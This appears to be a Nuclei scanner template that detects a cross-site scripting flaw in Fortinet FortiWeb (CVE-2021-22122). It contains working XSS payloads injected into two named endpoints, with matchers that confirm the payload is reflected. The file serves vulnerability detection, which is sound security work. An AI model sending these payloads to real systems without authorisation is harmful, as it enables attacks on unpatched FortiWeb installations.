44 lines
1.7 KiB
YAML
44 lines
1.7 KiB
YAML
id: CVE-2021-22122
|
|
|
|
info:
|
|
name: FortiWeb - Cross-Site Scripting
|
|
author: dwisiswant0
|
|
severity: medium
|
|
description: |
|
|
FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
|
|
reference:
|
|
- https://www.fortiguard.com/psirt/FG-IR-20-122
|
|
- https://twitter.com/ptswarm/status/1357316793753362433
|
|
- https://fortiguard.com/advisory/FG-IR-20-122
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22122
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-22122
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00609
|
|
epss-percentile: 0.76183
|
|
cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: fortinet
|
|
product: fortiweb
|
|
tags: cve,cve2021,fortiweb,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
|
|
- "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "alert('document.domain')"
|
|
- "No policy has been chosen."
|
|
condition: and
|
|
# digest: 4a0a00473045022100c51e6c26fb869c6fba3a9e75e43ed2901819d88ab776d70ad097de380912f34302202093d9e16a811ff8b5eb658ccde5a63e749d5244c7a8d7ba26f6d474b6a57b2a:922c64590222798bb761d5b6d8e72950 |